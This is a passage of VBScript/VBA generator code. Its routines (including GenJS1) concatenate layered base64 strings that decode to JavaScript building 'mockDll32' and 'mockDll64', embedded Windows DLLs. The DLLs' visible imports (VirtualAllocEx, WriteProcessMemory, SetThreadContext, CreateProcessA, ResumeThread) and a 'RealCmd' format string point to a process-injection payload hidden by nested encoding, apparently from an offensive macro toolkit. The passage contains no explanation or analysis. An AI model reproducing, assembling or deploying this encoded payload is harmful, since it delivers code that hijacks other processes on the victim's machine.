      x = x & "Y2tEbGwzMiArPSAiY0RPU005OHpEalExTkQ4MFNUUnNOSFUwN3pUOE5CYzFSelZnTlhjMW16V3ZOZGMxM2pYMU5mbzFGRFlaTmlJ"
      x = x & "Mkp6WkJOa1kyU3pabE5tbzJiemFKTm80Mmt6YWpOcWcycmpibiI7DQoJCW1vY2tEbGwzMiArPSAiTnU4MjlUWUFOdzAzRlRjak55"
      x = x & "ZzNMVGN5TnowM1NqZFVOMmszZFRkN041MDNyemNMT0NnNE1qZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQl0aGlzLkJhc2U2NF9Nb2NrRGxsMzIgPSBtb2NrRGxsMzI7DQoJfSwN"
      x = x & "CgkNCglJbml0TW9ja0RsbDY0OmZ1bmN0aW9uKCl7DQoJCW1vY2tEbGw2NCA9ICIiOw0KCQltb2NrRGxsNjQgKz0gIlRWcVFBQU1B"
      x = x & "QUFBRUFBQUEvLzhBQUxnQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBNkFB"
      x = x & "QUFBNGZ1ZzRBdEFuTkliZ0IiOw0KCQltb2NrRGxsNjQgKz0gIlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRX"
      x = x & "NGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFDRlhPcjZ3VDJFcWNFOWhLbkJQWVNwYVVqNnFjQTkiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gImhLbTNvUG1wd0QyRXFiZWc2YW5GUFlTcHQ2RC9xY1E5aEtuQlBZV3A2VDJFcWRxZ0s2bkNQWVNwMnFBZnFjQTloS25h"
      x = x & "b0JtcHdEMkVxVkpwWTJqQlBZU3BBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUZCRkFBQmtoZ1FBU3o2"
      x = x & "NlV3QUFBQUFBQUFBQThBQWlJQXNDQ2dBQURBQUFBQXdBQUFBQUFBQndHUUFBQUJBQUFBQUFBSUFCQUFBQUFCQUFBQUFDQUFBRkFB"
      x = x & "SUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQVVBQWdBQUFBQUFBRkFBQUFBRUFBQUFBQUFBQWdCQUFRQUFFQUFBQUFBQUFCQUFB"
      x = x & "QUFBQUFBQUFCQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFCQUFBQUN3SmdBQVZnQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFOQWlBQUE4"
      x = x & "QUFBQUFBQUFBQUFBQUFBQVFBQUFrQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQU1BRUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDNTBaWGgwQUFBQXpnc0FBQUFRQUFBQURBQUFBQVFBQUFBQUFBQUEiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gIkFBQUFBQUFBQUNBQUFHQXVjbVJoZEdFQUFBWUhBQUFBSUFBQUFBZ0FBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUJB"
      x = x & "TG1SaGRHRUFBQUF3QUFBQUFEQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFRQUFBd0M1"
      x = x & "d1pHRjBZUUFBa0FBQUFBQkFBQUFBQWdBQUFCZ0FBQUFBQUFBQUFBQUFBQUFBQUVBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRWlKWENRSVNJbDBKQmhYU0lQc1FFVXp5VWpIUkNRd0FB"
      x = x & "QUEiOw0KCQltb2NrRGxsNjQgKz0gIkFMb0FBQUNBUlkxQkFjZEVKQ2dBQUFBQXgwUWtJQU1BQUFEL0ZjNFBBQUJJaTloSWcvai9E"
      x = x & "NFNnQUFBQU05SklpOGovRmI0UEFBQ0wrSVA0L3crRWdRQUFBRFBKaTlkQnVBQXciOw0KCQltb2NrRGxsNjQgKz0gIkFBQkVqVWtF"
      x = x & "L3hVWEVBQUFTSXZ3U0lYQWRHVkZNOGxGTThBejBraUx5LzhWbGc4QUFFeU5UQ1JZUkl2SFNJdldTSXZMU01kRUpDQUFBQUFBL3hY"
      x = x & "UkR3QUFoY0IwSWp0OEpGaDEiOw0KCQltb2NrRGxsNjQgKz0gIkhFaUx5LzhWRGhBQUFFaUx4a2lMWENSUVNJdDBKR0JJZzhSQVg4"
      x = x & "TXowa0c0QUlBQUFFaUx6djhWV2c4QUFFaUx5LzhWNFE4QUFFaUxYQ1JRU0l0MEpHQXp3RWlEeEVCZnc4ek0iOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gInpNek16TXhJaVZ3a0NGZElnZXhRQVFBQWk5bEVpOEV6MHJuLy94OEEveFVwRHdBQVNJdjRTSVhBZEJlNkFRQUFBRWlM"
      x = x & "eVA4Vk93OEFBRWlMei84VmlnOEFBRWlOVENRa005SkIiOw0KCQltb2NrRGxsNjQgKz0gInVDd0JBQURIUkNRZ01BRUFBT2dNQ2dB"
      x = x & "QU05S05TZ0wvRlYwUEFBQklqVlFrSUVpTHlFaUwrUDhWdEE0QUFJWEFkQ0U1WENSQWRRbUxUQ1FvNkhuLy8vOUlqVlFrSUVpTHov"
      x = x & "OFYiOw0KCQltb2NrRGxsNjQgKz0gIkN3OEFBSVhBZGQ5SWk4Ly9GU1lQQUFCSWk1d2tZQUVBQUVpQnhGQUJBQUJmdzh6TXpNek16"
      x = x & "TXpNek16TXpNeElpVndrR0VpSmRDUWdWVmRCVkVGV1FWZElqYXdrTVBmLy8waUIiOw0KCQltb2NrRGxsNjQgKz0gIjdOQUpBQUJJ"
      x = x & "aTRVZ0NRQUFNOXROaS9sSVkzQThTSWxjSkdoSmkvaElBL0pNaStKTWkvR0JQbEJGQUFCMEJ6UEE2WE1EQUFBejBraU5UWmhNaWF3"
      x = x & "a0FBb0FBRVNOUW1ESFJaQm8iOw0KCQltb2NrRGxsNjQgKz0gIkFBQUE2RFVKQUFCSWk4OW1pVjNRL3hXa0RnQUFTSWxjSkRCTWpV"
      x = x & "d2tlTG9BQUFCQVFiZ0RBQUFBU0l2UHgwUWtLSUFBQUFESFJDUjRHQUFBQUVpSlhZREhSWWdCQUFBQXgwUWsiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gIklBSUFBQUQvRllzTkFBQk1pK2hJZy9qL0Q0VHdBZ0FBU0lsRjZFaUpSZkF6d0VpSlJDUllTSWxFSkdCSWpVUWtVRWlK"
      x = x & "UkNSSVNJMUZrRVV6eVVpSlJDUkFTSWxjSkRoSWlWd2siOw0KCQltb2NrRGxsNjQgKz0gIk1FVXp3RW1MMWpQSngwUWtLQVFBQUFE"
      x = x & "SFJjd0JBUUFBU0lsY0pGREhSQ1FnQVFBQUFQOFZnQTBBQUlYQUQ0U0tBZ0FBU0kyTjBRUUFBRFBTUWJqL0F3QUFpSjNRQkFBQTZG"
      x = x & "b0kiOw0KCQltb2NrRGxsNjQgKz0gIkFBQkVpMHdrWUVpTkZUb09BQUJJalkzUUJBQUFUSXZIVElsOEpDRC9GZVVOQUFCSWc4bi9N"
      x = x & "OEJJamIzUUJBQUFUSTJOSUFrQUFQS3VTSTJWMEFRQUFFaUpYQ1FnU1BmUlRJMUIiOw0KCQltb2NrRGxsNjQgKz0gIi8wbUx6ZjhW"
      x = x & "NHd3QUFFbUx6ZjhWWWcwQUFFaU5UUWd6MGtHNHlBUUFBRWlKWFFEbzZRY0FBRWlMVENSWVNJMVZBTWRGTUFzQUVBRC9GVzhNQUFD"
      x = x & "RndBK0VyUUVBQUV5THJZZ0EiOw0KCQltb2NrRGxsNjQgKz0gIkFBQklpMHdrVUVpTmhRZ0pBQUJNalVRa2NFbU5WUkJCdVFnQUFB"
      x = x & "QklpVVFrSVA4Vm1nd0FBSVhBRDRSNEFRQUFTSU85Q0FrQUFBZ1BoV29CQUFCSWkwWXdTRGxFSkhCMUtVaU4iOw0KCQltb2NrRGxs"
      End Sub
      Public Sub GenJS1(ByRef x)
      x = x & "NjQgKz0gIkRZb05BQUQvRmNRTUFBQklqUlZsRFFBQVNJdkkveFY4REFBQVNJdFVKSEJJaTB3a1VQL1FSSXRHVUVpTFZqQklpMHdr"
      x = x & "VUVHNUFEQUFBTWRFSkNCQUFBQUEveFZmREFBQVNJbEUiOw0KCQltb2NrRGxsNjQgKz0gIkpHaEloY0FQaENVQkFBQkVpMDVVU0ky"
      x = x & "TkNBa0FBRTJMeEVpSlRDUWdTSXRNSkZCSWk5RC9GWEFNQUFDRndBK0UzZ0FBQUl0R1ZFZzVoUWdKQUFBUGhjNEFBQUFQdDBZVVpq"
      x = x & "dGUiOw0KCQltb2NrRGxsNjQgKz0gIkJuTlZTSTE4TUNpTEI0WEFkRHlMVi94RWkwY0VTSXRNSkZCSUExUWthRVNMeUVpTmhRZ0pB"
      x = x & "QUJOQThSSWlVUWtJUDhWR2d3QUFJWEFENFNJQUFBQWl3ZElPNFVJQ1FBQWRYMFAiOw0KCQltb2NrRGxsNjQgKz0gInQwWUcvOE5J"
      x = x & "Zzhjb085aDhzRWlMVENSUVNJMkZDQWtBQUV5TlJDUm9TWTFWRUVHNUNBQUFBRWlKUkNRZy94WFRDd0FBaGNCMFJVaUR2UWdKQUFB"
      x = x & "SWRUdUxSaWhJaTB3a1dFaU4iOw0KCQltb2NrRGxsNjQgKz0gIlZRQklBMFFrYUVpSmhZQUFBQUQvRmU4S0FBQklpMHdrV1A4VnBB"
      x = x & "c0FBRWlMVENSWS94V0pDd0FBU0l0RUpGRHJOa2lMVkNSb1NJWFNkQlJJaTB3a1VFRzVBSUFBQUVVendQOFYiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gIjlBb0FBRWlMVENSWS94VlpDd0FBU0l0TUpGRC9GVTRMQUFBendFeUxyQ1FBQ2dBQVRJMmNKTkFKQUFCSmkxdEFTWXR6"
      x = x & "U0VtTDQwRmZRVjVCWEY5ZHcwaUpEV0VhQUFDNEFRQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFNUE16TXhJaVZ3a0dGVklqYXdrZ092"
      x = x & "Ly83aUFGUUFBNkxnRkFBQklLK0JJaXcwMkdnQUFTSTFVSkRCQnVBVUJBQUQvRmMwS0FBQ0FmQ1F3QUVpTlhDUXdkQW1RU1AvRGdE"
      x = x & "c0EiOw0KCQltb2NrRGxsNjQgKz0gImRmaUFPeTUwQ3c4ZkFFai95NEE3TG5YNFNJMFZyUXNBQUVpTHkvOFZBQXNBQUlYQWRCYTRB"
      x = x & "UUFBQUVpTG5DU2dGUUFBU0lIRWdCVUFBRjNEaXdXTUN3QUFUSTFOUUV5TkJZWUwiOw0KCQltb2NrRGxsNjQgKz0gIkFBQ0pBdysy"
      x = x & "Qlh3TEFBQklqUlY1Q3dBQWlFTUVTSTFFSkRCSWpRMXlDd0FBU0lsRUpDakhSQ1FnQlFFQUFFaUp0Q1NRRlFBQS94VWJDZ0FBVEkx"
      x = x & "Y0pEQk1qWTFRQVFBQVRJbGMiOw0KCQltb2NrRGxsNjQgKz0gIkpDaE1qUVUwQ3dBQVNJMFZQQXNBQUVpTkRURUxBQURIUkNRZ0JR"
      x = x & "RUFBUDhWNXdrQUFFeU5YQ1F3VEkyTllBSUFBRXlKWENRb1RJMEZBQXNBQUVpTkZSQUxBQUJJalEzOUNnQUEiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gIngwUWtJQVVCQUFEL0ZiTUpBQUJNalZ3a01FeU5qWEFEQUFCTWlWd2tLRXlOQmN3S0FBQklqUlhrQ2dBQVNJME55UW9B"
      x = x & "QU1kRUpDQUZBUUFBL3hWL0NRQUFUSTFNSkRCSWpSWEwiOw0KCQltb2NrRGxsNjQgKz0gIkNnQUFTSTBOcUFvQUFFVXp3UDhWR3dr"
      x = x & "QUFFaU5qVkFCQUFDTDJPaTkrUC8vU0l2d1NJWEFENFFhQVFBQVNJMk5nUXdBQURQU1Fiai9Cd0FBU0ltOEpKZ1ZBQURHaFlBTUFB"
      x = x & "QUEiOw0KCQltb2NrRGxsNjQgKz0gIjZQSURBQUJJalkyQkJBQUFNOUpCdVA4SEFBREdoWUFFQUFBQTZOY0RBQUJNalkxZ0FnQUFU"
      x = x & "STFGUUVpTkZlVUpBQUJJalkyQURBQUEveFZrQ1FBQVNJMkZZQUlBQUV5TmpWQUIiOw0KCQltb2NrRGxsNjQgKz0gIkFBQk1qVVZB"
      x = x & "U0kwVnl3a0FBRWlOallBRUFBQ0pYQ1FvU0lsRUpDRC9GVFVKQUFCQnUwMWFBQUJtUkRrZWRBUXovK3NsVEkyTmdBUUFBRXlOaFhB"
      x = x & "REFBQklqWTJBREFBQVNJdlciOw0KCQltb2NrRGxsNjQgKz0gIlNJbDBKQ0Rvcy9uLy8waUwrRFBTUWJnQWdBQUFTSXZPL3hVWENB"
      x = x & "QUFTSVgvZER1RjIzNHVaZzhmUkFBQXV1Z0RBQUJJaTgvL3kvOFY4QWNBQUlYQWRBU0YyM1hvU0l2UC94VlgiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gIkNBQUFpOGpvcVBqLy8waUx6LzhWWndnQUFFaUx2Q1NZRlFBQVNJdTBKSkFWQUFCSWk1d2tvQlVBQURQQVNJSEVnQlVB"
      x = x & "QUYzRHpNek16TXpNek16TXpNek1TSVBzS0lYU2RYcUwiOw0KCQltb2NrRGxsNjQgKz0gIkJXSVhBQUNGd0ErT2h3QUFBRWlMRFhN"
      x = x & "WEFBRC95RWlGeVlrRlNCY0FBSFJPU0lzRlZ4Y0FBRWlENkFoSU84RklpUVZKRndBQWNpWklnemdBZEJEL0VFaUxEVUFYQUFCSWl3"
      x = x & "VXgiOw0KCQltb2NrRGxsNjQgKz0gIkZ3QUFTSVBvQ0VnN3dVaUpCU01YQUFCejJ2OFZBd2dBQUVqSEJSZ1hBQUFBQUFBQXVBRUFB"
      x = x & "QUJJZzhRb3c0UDZBWFh4dVFBQkFBRG96d0VBQUVpRndFaUpCZlVXQUFCMUJ6UEEiOw0KCQltb2NrRGxsNjQgKz0gIlNJUEVLTU5J"
      x = x & "eHdBQUFBQUFTSXNGM2hZQUFFaU5GZThIQUFCSWpRM2dCd0FBU0lrRndSWUFBT2lFQVFBQS93V2VGZ0FBdUFFQUFBQklnOFFvdzh6"
      x = x & "TXpNeElnK3dvaGRKSWlWd2siOw0KCQltb2NrRGxsNjQgKz0gIk1FaUpiQ1E0U0lsMEpFQ0wya2lMNlVtTDhIVWVPUlZyRmdBQWRW"
      x = x & "a3p3RWlMZENSQVNJdHNKRGhJaTF3a01FaUR4Q2pEZy9vQmRBV0QrZ0oxT1VpTEJXb1dBQUJJaGNCMEJ2L1EiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gImhjQjBFVXlMeG92VFNJdk42THIrLy8rRndIVVdNOEJJaTNRa1FFaUxiQ1E0U0l0Y0pEQklnOFFvdzB5THhvdlRTSXZO"
      x = x & "U0lsOEpFam9udnYvLzRQN0FZdjRENFYrQUFBQWhjQVAiOw0KCQltb2NrRGxsNjQgKz0gImhiQUFBQUNMRGVVVkFBQ0Z5UStPb2dB"
      x = x & "QUFQL0ppUTNWRlFBQVNJc043aFVBQUVpRnlRK0VpZ0FBQUVpTEJkWVZBQUJJZytnSVNEdkJTSWtGeUJVQUFISW1TSU00QUhRUS94"
      x = x & "QkkiOw0KCQltb2NrRGxsNjQgKz0gIml3Mi9GUUFBU0lzRnNCVUFBRWlENkFoSU84RklpUVdpRlFBQWM5ci9GWUlHQUFCSXh3V1hG"
      x = x & "UUFBQUFBQUFPczZoZHQwQllQN0EzVXhUSXZHaTlOSWk4M283LzMvLzRYQWRRUXoiOw0KCQltb2NrRGxsNjQgKz0gIi8rc2NoZjkw"
      x = x & "R0VpTEJYUVZBQUJJaGNCMERFeUx4b3ZUU0l2Ti85Q0wrRWlMZENSQVNJdHNKRGhJaTF3a01JdkhTSXQ4SkVoSWc4UW93LzhsRWdZ"
      x = x & "QUFNek16TXpNek16TXpNeEkiOw0KCQltb2NrRGxsNjQgKz0gImcrd29TSWxzSkRoSWlYUWtRRWlKZkNSSU0vOUlpVndrTUVpTDhi"
      x = x & "My8vLy8vU0l2TzZFUUFBQUJJaGNCSWk5aDFJNHZQL3hXK0JRQUFSSTJmNkFNQUFFR0IrMkRxQUFCQmkvc1AiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gIlIvMDcvWFhRU0l2RFNJdDhKRWhJaTNRa1FFaUxiQ1E0U0l0Y0pEQklnOFFvdy84bHBBVUFBUDhsdGdVQUFNek16TXpN"
      x = x & "ek16TXpNek16R1ptWnBCbVptYVFacEJJZyt3UVRJa1UiOw0KCQltb2NrRGxsNjQgKz0gIkpFeUpYQ1FJVFRQYlRJMVVKQmhNSzlC"
      x = x & "TkQwTFRaVXlMSENVUUFBQUFUVHZUY3habVFZSGlBUEJOalpzQThQLy9RY1lEQUUwNzAzWHdUSXNVSkV5TFhDUUlTSVBFRU1NQUFB"
      x = x & "QUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFFQWtBQUFBQUFBQVZDUUFBQUFBQUFCaUpBQUFBQUFBQUhBa0FBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFoQ1FB"
      x = x & "QUFBQUFBQ1dKQUFBQUFBQUFLZ2tBQUFBQUFBQXZpUUFBQUFBQUFETUpBQUFBQUFBQU5na0FBQUFBQUFBNWlRQUFBQUFBQUQrSkFB"
      x = x & "QUFBQUFBQTRsQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIklpVUFBQUFBQUFBMEpRQUFBQUFBQUVnbEFBQUFBQUFBVkNVQUFB"
      x = x & "QUFBQUJtSlFBQUFBQUFBSFlsQUFBQUFBQUFpQ1VBQUFBQUFBQ2tKUUFBQUFBQUFMUWxBQUFBQUFBQXhDVUEiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gIkFBQUFBQURhSlFBQUFBQUFBTzRsQUFBQUFBQUFDaVlBQUFBQUFBQVlKZ0FBQUFBQUFDNG1BQUFBQUFBQVBpWUFBQUFB"
      x = x & "QUFDT0pnQUFBQUFBQUFBQUFBQUFBQUFBY0NZQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQjhKZ0FBQUFBQUFJUW1BQUFBQUFB"
      x = x & "QVdpWUFBQUFBQUFDV0pnQUFBQUFBQUtJbUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUNWekNsQkpSRDBsWkFvbGN3QUFBQUJPZEZWdWJXRndWbWxsZDA5bVUyVmpk"
      x = x & "R2x2YmdBQUFBQnVkR1JzYkM1a2JHd0FBQUFsY3lBbGN3QUFBQUFBQUFCTmIyTnIiOw0KCQltb2NrRGxsNjQgKz0gIlRXOWtkV3hs"
      x = x & "UFNWekNsSmxZV3hEYldROUpYTWdKWE1LVkdsdFpVOTFkRDBsWkFvS0FBQUFBQzVrYkd3QUFBQUFMbWx1YVFBQUFBQnRiMk5yQUFB"
      x = x & "QUFHTm1ad0J5WldGc0FBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFHRnlaM01BQUFBQWIzVjBaZ0FBQUFCMGFXMWxBQUFBQUFFRUFR"
      x = x & "QUVRZ0FBQVkwSkFJMTBDUUFWWkFnQUVGUUhBQXMwQmdBRVFnQUFBUm9KQUJvMEJnQVRkQWtBRG1RSUFBbFUiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gIkJ3QUVRZ0FBSVFBQUFNQVJBQUFYRWdBQVZDSUFBQ0VJQWdBSTFFQUJ3QkVBQUJjU0FBQlVJZ0FBQVNFTEFDRmtRd0Vo"
      x = x & "TkVJQklRRTZBUkx3RU9BT3dBeHdDMUFBQUFFTkJRQU4iOw0KCQltb2NrRGxsNjQgKz0gIk5Dd0FEUUVxQUFad0FBQUJEd1lBRDJR"
      x = x & "TUFBODBDZ0FQY2d0d0lRQUFBTEFWQUFCZUZ3QUF0Q0lBQUNFSUFnQUlkTE1Dc0JVQUFGNFhBQUMwSWdBQUFjY0hBTWRrc2dJYk5M"
      x = x & "UUMiOw0KCQltb2NrRGxsNjQgKz0gIkd3R3dBZ1pRQUFBQkJBRUFCQklBQUJBakFBQUFBQUFBQUFBQUFFd21BQUFBSUFBQUNDUUFB"
      x = x & "QUFBQUFBQUFBQUFaQ1lBQVBnZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUJB"
      x = x & "SkFBQUFBQUFBRlFrQUFBQUFBQUFZaVFBQUFBQUFBQndKQUFBQUFBQUFJUWtBQUFBQUFBQWxpUUFBQUFBQUFDb0pBQUFBQUFBQUw0"
      x = x & "a0FBQUFBQUFBekNRQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBRFlKQUFBQUFBQUFPWWtBQUFBQUFBQS9pUUFBQUFBQUFBT0pR"
      x = x & "QUFBQUFBQUNJbEFBQUFBQUFBTkNVQUFBQUFBQUJJSlFBQUFBQUFBRlFsQUFBQUFBQUFaaVVBQUFBQUFBQjIiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gIkpRQUFBQUFBQUlnbEFBQUFBQUFBcENVQUFBQUFBQUMwSlFBQUFBQUFBTVFsQUFBQUFBQUEyaVVBQUFBQUFBRHVKUUFB"
      x = x & "QUFBQUFBb21BQUFBQUFBQUdDWUFBQUFBQUFBdUpnQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBRDRtQUFBQUFBQUFqaVlBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFIQW1BQUFBQUFBQWZDWUFBQUFBQUFDRUpnQUFBQUFBQUZvbUFBQUFBQUFBbGlZQUFBQUFBQUNpSmdBQUFB"
      x = x & "QUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQTJRRkhaWFJVYUhKbFlXUkRiMjUwWlhoMEFBQldBRU55WldGMFpVWnBi"
      x = x & "R1ZCQUdZQlIyVjBSbWxzWlZOcGVtVUFSZ05UWlhSVWFISmxZV1JEYjI1MFpYaDAiOw0KCQltb2NrRGxsNjQgKz0gIkFBQWlBMU5s"
      x = x & "ZEVacGJHVlFiMmx1ZEdWeUFBQ1NBbEJ5YjJObGMzTXpNa1pwY25OMEFBQ1dBMWRoYVhSR2IzSlRhVzVuYkdWUFltcGxZM1FBaVFO"
      x = x & "V2FYSjBkV0ZzUm5KbFpRQ3EiOw0KCQltb2NrRGxsNjQgKz0gIkExZHlhWFJsUm1sc1pRQ0NBazl3Wlc1UWNtOWpaWE56QUpnQlIy"
      x = x & "VjBVSEpwZG1GMFpWQnliMlpwYkdWSmJuUkJBSW9EVm1seWRIVmhiRVp5WldWRmVBQzBBbEpsWVdSUWNtOWoiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gIlpYTnpUV1Z0YjNKNUFHa0FRM0psWVhSbFVISnZZMlZ6YzBFQUFHUURWR1Z5YldsdVlYUmxVSEp2WTJWemN3QUFzUUpT"
      x = x & "WldGa1JtbHNaUUFBb2dGSFpYUlFjbTlqUVdSa2NtVnoiOw0KCQltb2NrRGxsNjQgKz0gImN3QUFod05XYVhKMGRXRnNRV3hzYjJN"
      x = x & "QUFJZ0RWbWx5ZEhWaGJFRnNiRzlqUlhnQUFKNEJSMlYwVUhKcGRtRjBaVkJ5YjJacGJHVlRkSEpwYm1kQkFBQ1VBbEJ5YjJObGMz"
      x = x & "TXoiOw0KCQltb2NrRGxsNjQgKz0gIk1rNWxlSFFBcHdGSFpYUlFjbTlqWlhOelNXUUFBSDhCUjJWMFRXOWtkV3hsUm1sc1pVNWhi"
      x = x & "V1ZCQUFDQkFVZGxkRTF2WkhWc1pVaGhibVJzWlVFQUFIUUFRM0psWVhSbFZHOXYiOw0KCQltb2NrRGxsNjQgKz0gImJHaGxiSEF6"
      x = x & "TWxOdVlYQnphRzkwQUFBMkFFTnNiM05sU0dGdVpHeGxBTE1EVjNKcGRHVlFjbTlqWlhOelRXVnRiM0o1QUFET0FsSmxjM1Z0WlZS"
      x = x & "b2NtVmhaQUFBaGdCRVpXeGwiOw0KCQltb2NrRGxsNjQgKz0gImRHVkdhV3hsUVFCTFJWSk9SVXd6TWk1a2JHd0FBTDhDYzNCeWFX"
      x = x & "NTBaZ0J0YzNaamNuUXVaR3hzQUFEMEFGOXBibWwwZEdWeWJRQmtBbVp5WldVQUFKa0NiV0ZzYkc5akFBQmMiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gIkExTnNaV1Z3QUt3QlgzTjBjbWxqYlhBQUFLRUNiV1Z0YzJWMEFBQUFBQUFBQUFBQUFFcyt1bE1BQUFBQTRpWUFBQUVB"
      x = x & "QUFBQkFBQUFBUUFBQU5nbUFBRGNKZ0FBNENZQUFMQVYiOw0KCQltb2NrRGxsNjQgKz0gIkFBRDBKZ0FBQUFCdGIyTnJYM0oxYmpK"
      x = x & "ZmVEWTBMbVJzYkFCRWJHeFNaV2RwYzNSbGNsTmxjblpsY2dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
